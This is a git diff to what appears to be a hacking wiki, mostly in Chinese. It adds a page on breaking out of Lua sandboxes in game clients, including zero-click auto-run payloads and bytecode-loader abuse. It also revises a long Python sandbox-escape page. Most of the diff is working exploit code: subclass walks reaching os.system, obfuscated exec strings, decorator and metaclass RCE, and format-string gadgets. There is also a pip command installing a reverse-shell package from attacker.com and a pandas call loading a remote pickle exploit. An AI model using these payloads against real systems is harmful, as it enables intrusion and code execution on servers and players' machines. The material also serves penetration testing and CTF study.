diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ed10ffe41..343cdd455 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -80,6 +80,8 @@ - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md) - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) +- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) +- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # 🧙‍♂️ Generic Hacking @@ -926,13 +928,4 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - - - - - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) - - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) - - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) - - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) - - [Readme](reversing/cryptographic-algorithms/README.md) - - [Readme](reversing/reversing-tools/README.md) - - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file + diff --git a/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md new file mode 100644 index 000000000..f1ee3c27f --- /dev/null +++ b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md @@ -0,0 +1,114 @@ +# Bypass Lua sandboxes (embedded VMs, game clients) + +{{#include ../../../banners/hacktricks-training.md}} + +本页收集了用于枚举并从嵌入在应用中的 Lua “sandboxes” 中突破的实用技术(尤其是 game clients、plugins 或应用内脚本引擎)。许多引擎暴露了受限的 Lua 环境,但仍会留下可访问的强大 globals;如果暴露 bytecode loaders,就可能实现任意命令执行甚至本机内存损坏。 + +关键思路: +- 把 VM 当作未知环境来处理:枚举 _G,发现哪些危险的 primitives 可达。 +- 当 stdout/print 被屏蔽时,滥用任何 in-VM 的 UI/IPC 通道作为输出汇点以观察结果。 +- 如果 io/os 可用,通常可以直接执行命令(io.popen、os.execute)。 +- 如果暴露了 load/loadstring/loadfile,执行精心构造的 Lua bytecode 可能会在某些版本中破坏内存安全(≤5.1 的 verifiers 可被绕过;5.2 已移除 verifier),从而实现高级利用。 + +## 枚举 the sandboxed environment + +- 转储 global environment,以清点可访问的 tables/functions: +```lua +-- Minimal _G dumper for any Lua sandbox with some output primitive `out` +local function dump_globals(out) +out("=== DUMPING _G ===") +for k, v in pairs(_G) do +out(tostring(k) .. " = " .. tostring(v)) +end +end +``` +- 如果没有 print() 可用,可重用 in-VM channels。以下示例来自一个 MMO housing 脚本 VM:chat 输出只有在 sound call 之后才生效;下面构建了一个可靠的输出函数: +```lua +-- Build an output channel using in-game primitives +local function ButlerOut(label) +-- Some engines require enabling an audio channel before speaking +H.PlaySound(0, "r[1]") -- quirk: required before H.Say() +return function(msg) +H.Say(label or 1, msg) +end +end + +function OnMenu(menuNum) +if menuNum ~= 3 then return end +local out = ButlerOut(1) +dump_globals(out) +end +``` +将此模式泛化到你的目标:任何接受字符串的 textbox、toast、logger 或 UI callback 都可以作为 stdout 用于 reconnaissance。 + +## 如果 io/os 被暴露则可直接执行命令 + +如果 sandbox 仍然暴露标准库 io 或 os,你很可能立即获得命令执行: +```lua +-- Windows example +io.popen("calc.exe") + +-- Cross-platform variants depending on exposure +os.execute("/usr/bin/id") +io.popen("/bin/sh -c 'id'") +``` +- 执行发生在客户端进程内;许多阻止外部调试器的 anti-cheat/antidebug 层不会阻止 in-VM 进程创建。 +- 还要检查:package.loadlib (arbitrary DLL/.so loading)、require with native modules、LuaJIT's ffi (if present)、以及 debug library(可能在 VM 内提升权限)。 + +## Zero-click triggers via auto-run callbacks + +如果宿主应用将脚本推送到客户端,且 VM 暴露 auto-run hooks(例如 OnInit/OnLoad/OnEnter),在脚本加载时立即将 payload 放到这些钩子中以实现 drive-by compromise: +```lua +function OnInit() +io.popen("calc.exe") -- or any command +end +``` +任何等效的回调(OnLoad、OnEnter 等)都会在脚本被自动传输并在客户端执行时使该技术泛化。 + +## 在 recon 期间要寻找的危险原语 + +在对 _G 进行枚举时,特别注意查找: +- io、os:io.popen、os.execute、file I/O、env access。 +- load、loadstring、loadfile、dofile:执行源代码或字节码;支持加载不受信任的字节码。 +- package、package.loadlib、require:动态库加载和模块暴露面。 +- debug:setfenv/getfenv(≤5.1)、getupvalue/setupvalue、getinfo,以及 hooks。 +- LuaJIT-only:ffi.cdef、ffi.load,用于直接调用本地代码。 + +最小使用示例(如果可达): +```lua +-- Execute source/bytecode +local f = load("return 1+1") +print(f()) -- 2 + +-- loadstring is alias of load for strings in 5.1 +local bc = string.dump(function() return 0x1337 end) +local g = loadstring(bc) -- in 5.1 may run precompiled bytecode +print(g()) + +-- Load native library symbol (if allowed) +local mylib = package.loadlib("./libfoo.so", "luaopen_foo") +local foo = mylib() +``` +## 可选的权限提升:滥用 Lua bytecode loaders + +当 load/loadstring/loadfile 可达但 io/os 受限时,执行精心构造的 Lua bytecode 可能导致内存泄露和破坏原语。关键要点: +- Lua ≤ 5.1 附带一个已知可被绕过的 bytecode verifier。 +- Lua 5.2 完全移除了 verifier(官方立场:应用程序应直接拒绝预编译的 chunks),如果不禁止 bytecode 加载,则扩大了攻击面。 +- 典型流程:通过 in-VM 输出 leak pointers,构造 bytecode 以制造类型混淆(例如围绕 FORLOOP 或其他 opcodes),然后转向 arbitrary read/write 或 native code execution。 + +该路径与 engine/version 相关,并且需要 RE。详见 references 中的深入分析、利用原语和游戏中的示例 gadgetry。 + +## Detection and hardening notes (for defenders) + +- 服务器端:拒绝或重写用户脚本;白名单安全 APIs;移除或绑定为空 io、os、load/loadstring/loadfile/dofile、package.loadlib、debug、ffi。 +- 客户端:以最小 _ENV 运行 Lua,禁止 bytecode 加载,重新引入严格的 bytecode verifier 或签名校验,并阻止客户端进程创建子进程。 +- 遥测:在 script 加载后不久检测到 gameclient → 子进程创建时触发告警;与 UI/chat/script 事件进行关联。 + +## References + +- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) +- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) +- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) +- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 8028ece79..f29e884b6 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,12 +1,12 @@ -# 绕过 Python 沙箱 +# Bypass Python sandboxes {{#include ../../../banners/hacktricks-training.md}} -这些是一些绕过 python 沙箱防护并执行任意命令的技巧。 +这些是一些绕过 Python sandbox 保护并执行任意命令的技巧。 ## 命令执行库 -首先需要知道的是,您是否可以使用某些已导入的库直接执行代码,或者是否可以导入以下任一库: +首先你需要知道的是,是否可以直接利用已导入的某个库执行代码,或者是否可以 import 下列任意库: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. +请记住,_**open**_ 和 _**read**_ 函数在 python sandbox 中非常有用:可以 **读取文件**,也可以 **写入一些代码**,你可以 **执行** 这些代码来 **bypass** sandbox。 > [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。 -Python 会尝试 **首先从当前目录加载库**(下面的命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'` +Python 会尝试 **优先从当前目录加载库**(下面的命令会打印出 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) ## Bypass pickle sandbox with the default installed python packages -### 默认包 +### Default packages You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -注意:从 pickle 中你可以让 python env **import arbitrary libraries**(系统中已安装的库)。\ -For example, the following pickle, when loaded, is going to import the pip library to use it: +注意,从一个 pickle 你可以让 python env **import 系统中已安装的任意库**。\ +例如,下面这个 pickle 在被加载时会 import pip 库以供使用: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +66,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -有关 pickle 工作原理的更多信息,请参见: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +有关 pickle 工作原理的更多信息,请查看: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) -### Pip package +### Pip 包 -技巧由 **@isHaacK** 分享 +由 **@isHaacK** 分享的技巧 -如果你可以访问 `pip` 或 `pip.main()`,你可以安装任意软件包并通过调用以下命令获取一个 reverse shell: +如果你可以访问 `pip` 或 `pip.main()`,你可以安装任意包并通过调用获得 reverse shell: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -你可以在此下载用于创建 reverse shell 的包。请注意,在使用前你应该 **解压它,修改 `setup.py`,并将你的 IP 填入用于 reverse shell**: +你可以在此处下载用于创建 reverse shell 的包。请注意,在使用之前你应该 **解压它、修改 `setup.py`,并将你的 IP 填入 reverse shell**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> 这个包名为 `Reverse`。不过,它是特别制作的,当你退出 reverse shell 时其余的安装会失败,因此你在离开时**不会在服务器上留下额外的 python package**。 +> 该包名为 `Reverse`。不过,它被特别制作为当你退出 reverse shell 时安装的其余部分会失败,因此你离开后**不会在 server 上留下任何额外的 python package**。 -## 使用 eval 执行 python 代码 +## 在 python 中使用 eval > [!WARNING] -> 注意 exec 允许多行字符串和 ";",但 eval 不允许(查看 walrus operator) +> 请注意,exec 允许多行字符串和 ";",但 eval 不允许(参考 walrus operator) -如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示法来 **绕过** 限制: +如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示来**绕过**该限制: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### 其他允许 eval python code 的库 +### 其他允许 eval python 代码的库 ```python #Pandas import pandas as pd @@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -另见 PDF 生成器中的真实场景 sandboxed evaluator escape: +另见在 PDF 生成器中的真实世界沙箱化求值器逃逸: -- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 它利用 rl_safe_eval 从被求值的属性(例如字体颜色)访问 function.__globals__ 和 os.system,并返回一个有效值以保持渲染稳定。 +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733)。它滥用 rl_safe_eval,从被求值的属性(例如,字体颜色)访问 function.__globals__ 和 os.system,并返回一个有效值以保持渲染稳定。 {{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} -## 运算符与小技巧 +## 运算符和小技巧 ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -145,7 +145,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md ``` ## 通过编码绕过防护 (UTF-7) -在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,UFT-7 被用来在一个表面上的 sandbox 内加载并执行任意 python 代码: +在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,UFT-7 被用来在一个看似受限的 sandbox 中加载并执行任意 python 代码: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -158,9 +158,9 @@ return x ``` 也可以使用其他编码绕过它,例如 `raw_unicode_escape` 和 `unicode_escape`。 -## 在不允许进行调用的 Python 环境中执行 +## Python 在无法发起调用时的执行 -如果你处在一个 python jail(沙箱)中,且 **不允许你进行调用**,仍有一些方法可以 **执行任意函数、代码** 和 **命令**。 +如果你处在一个 python jail 中,**不允许你发起调用**,仍然有一些方法可以**执行任意函数、code** 和 **命令**。 ### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE ```python @@ -184,13 +184,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE 创建对象与重载 +### RCE 创建对象和重载 -如果你可以 **声明一个类** 并 **创建该类的一个对象**,你就可以 **编写/覆盖不同的方法**,这些方法可以被 **触发**,**无需** **直接调用它们**。 +如果你能够 **声明一个类** 并 **创建该类的对象**,你就可以 **编写/重写不同的方法**,这些方法可以在 **被触发** 时 **无需直接调用**。 -#### RCE 使用自定义类 +#### 使用自定义类的 RCE -你可以修改一些 **类方法** (_通过重写现有的类方法或创建一个新类_),使它们在被 **触发** 时 **执行任意代码**,而无需直接调用它们。 +你可以修改一些 **类方法** (_通过重写现有类方法或创建新类_),使它们在 **被触发时** **执行任意代码**,而无需直接调用它们。 ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象 -metaclasses 允许我们做的关键事情是,通过创建一个以目标类为元类的新类,**在不直接调用构造函数的情况下创建一个类的实例**。 +关键在于,元类允许我们通过创建一个以目标类为元类的新类,来**直接创建类的实例而不调用构造函数**。 ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -257,9 +257,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### 使用异常创建对象 +#### 通过 exceptions 创建对象 -当一个 **exception is triggered** 时,会 **created** 一个类型为 **Exception** 的对象,无需你直接调用构造函数(来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧): +当**exception 被触发**时,会创建一个**Exception**对象,而你无需直接调用 constructor (该技巧来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -301,7 +301,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### 读取包含 builtins 帮助与许可证的文件 +### 使用 builtins help 与 license 读取文件 ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -315,17 +315,17 @@ pass - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -如果你能够访问 **`__builtins__`** 对象,你就可以导入库(注意这里你也可以使用最后一节中所示的其他字符串表示法): +如果你可以访问 **`__builtins__`** 对象,你可以导入库(注意这里你也可以使用在最后一节中展示的其他字符串表示法): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### No Builtins +### 没有 `__builtins__` -当没有 `__builtins__` 时,你将无法导入任何模块,甚至不能读取或写入文件,因为 **所有全局函数**(比如 `open`、`import`、`print`...)**都未被加载**。\ -不过,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能是无害的,但其中一些模块内部也**导入了危险**的功能,这些功能可以被访问以获得甚至**任意代码执行**。 +当你没有 `__builtins__` 时,你将无法导入任何东西,甚至无法读取或写入文件,因为 **所有全局函数**(像 `open`, `import`, `print`...)**未被加载**。\ +然而,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能很无害,但其中有些模块**也在内部导入了危险的功能**,可以被访问以获得甚至**任意代码执行**。 -在下面的示例中,你可以看到如何**滥用**这些已加载的“**无害**”模块,以**访问**其中的**危险**功能。 +在以下示例中,你可以看到如何**滥用**这些已加载的“**无害**”模块,以**访问**它们内部的**危险**功能。 **Python2** ```python @@ -367,9 +367,9 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 以查找数十/**数百**个可以找到 **builtins** 的 **位置**。 +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个**位置**,您可以在这些位置找到 **builtins**。 -#### Python2 和 Python3 +#### Python2 and Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ @@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## 全局和局部 +## Globals and locals -检查 **`globals`** 和 **`locals`** 是了解你可以访问哪些内容的好方法。 +检查 **`globals`** 和 **`locals`** 是了解你可以访问的内容的好方法。 ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -409,15 +409,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 以查找数十/**数百**个**位置**,您可以在这些位置找到**globals**。 +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于查找数十/**数百** 个可以找到 **globals** 的 **位置**。 ## 发现任意执行 -在这里我想解释如何更容易地发现已加载的**更危险的功能**,并提出更可靠的利用方法。 +在这里我想解释如何轻松发现 **已加载的更危险功能** 并提出更可靠的利用方法。 #### 使用绕过方法访问子类 -该技术最敏感的部分之一是能够**访问基类的子类**。在前面的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有**其他可能的方法**: +该技术最敏感的部分之一是能够 **访问基类的子类**。在之前的示例中这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -447,16 +447,16 @@ defined_func.__class__.__base__.__subclasses__() ``` ### 查找已加载的危险库 -例如,已知使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**: +例如,知道使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -有很多,但**我们只需要一个**来执行命令: +有很多,而**我们只需要一个**来 execute commands: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -我们可以对**其他库**(我们知道可用于**执行命令**)做同样的事情: +我们可以对我们知道可以用来**执行命令**的**其他库**做同样的事情: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -491,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__() #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -此外,我们还可以搜索哪些模块正在加载恶意库: +此外,我们甚至可以搜索哪些模块正在加载恶意库: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -此外,如果你认为 **其他库** 可能能够 **调用函数来执行命令**,我们也可以在可能的库中 **按函数名称过滤**: +此外,如果你认为 **other libraries** 可能能够 **invoke functions to execute commands**,我们也可以在可能的 libraries 中 **filter by functions names**: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -546,7 +546,8 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil ## 递归搜索 Builtins, Globals... > [!WARNING] -> 这真是**太棒了**。如果你正在**寻找像 globals, builtins, open 或任何其他对象**,只需使用此脚本来**递归地查找可以找到该对象的位置。** +> 这真是 **太棒了**。 +> 如果你正在 **寻找像 globals, builtins, open 或任何其他对象**,只需使用此脚本来 **递归地查找可以找到该对象的地方。** ```python import os, sys # Import these to find more gadgets @@ -662,7 +663,7 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` -你可以在此页面查看该脚本的输出: +您可以在此页面查看该脚本的输出: {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md @@ -670,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and- ## Python Format String -如果你 **发送** 一个 **字符串** 给 python,且该字符串将被 **格式化**,你可以使用 `{}` 来访问 **python 内部信息**。例如,你可以使用之前的例子来访问 globals 或 builtins。 +如果你 **send** 一个将被 **formatted** 的 **string** 给 python,你可以使用 `{}` 来访问 **python internal information.** 你可以使用之前的示例来访问 globals 或 builtins。 ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -690,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -注意你可以像 `people_obj.__init__` 那样使用 **点** 以正常方式访问属性,以及使用不带引号的 **中括号** 访问 dict 元素,例如 `__globals__[CONFIG]` +注意你可以用 **点** 的常规方式访问属性,例如 `people_obj.__init__`,并可以用 **方括号**(不带引号)访问 **dict 元素**,如 `__globals__[CONFIG]` -另外注意,你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -格式化字符串的另一个有趣特性是可以通过在目标对象后添加 **`!s`**, **`!r`**, **`!a`** 来分别执行 **`str`**, **`repr`** 和 **`ascii`** 函数: +格式化字符串的另一个有趣特性是可以在指定对象上执行函数 **`str`**、**`repr`** 和 **`ascii`**,方法是在后面分别添加 **`!s`**、**`!r`**、**`!a`**: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -此外,可以在类中 **code new formatters**: +此外,可以在类中**编写新的格式化器**: ```python class HAL9000(object): def __format__(self, format): @@ -710,17 +711,17 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**更多示例**:关于 **format** **string** 的示例可以在 [**https://pyformat.info/**](https://pyformat.info) 找到 +**更多示例**:关于 **format** **string** 的更多内容可见 [**https://pyformat.info/**](https://pyformat.info) > [!CAUTION] -> 还请查看以下页面,了解会 r**ead sensitive information from Python internal objects** 的 gadgets: +> 另请查看以下页面,包含能够 r**ead sensitive information from Python internal objects** 的 gadgets: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### 敏感信息披露 Payloads +### 敏感信息泄露 Payloads ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -740,18 +741,19 @@ str(x) # Out: clueless 来自 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### From format to RCE loading libraries +### 从 format 到 RCE 加载库 -According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python. +根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以滥用 format string vulnerability in python 从磁盘加载任意库。 -作为提醒,每次在 python 中执行一个操作时,都会调用某个函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。 +提醒一下,每当在 python 中执行某个操作时,都会调用相应的函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。 -在章节 [**Python execution without calls**](#python-execution-without-calls) 中有更多类似的内容。 +更多类似例子见章节 [**Python execution without calls**](#python-execution-without-calls)。 -A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\ -但是,可以使用 `[]`。因此,如果某个常见的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们以获得 RCE。 +python 的 format string vuln 不允许执行函数(它不允许使用圆括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\ -在 python 中寻找这种 gadget 时,writeup 给出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在那里发现了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): +然而,可以使用 `[]`。因此,如果某个常用的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们来获取 RCE。 + +在 python 中寻找这样的 gadget 时,writeup 提出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在其中找到了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -773,18 +775,18 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -此 gadget 允许**从磁盘加载库**。因此,需要以某种方式**将要加载的库写入或上传**到被攻击的服务器,并确保其为该服务器正确编译。 +这个 gadget 允许 **load a library from disk**。因此,需要以某种方式将 **write or upload the library to load** 正确编译并上传到被攻击的服务器。 ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -该挑战实际上利用了服务器上的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。 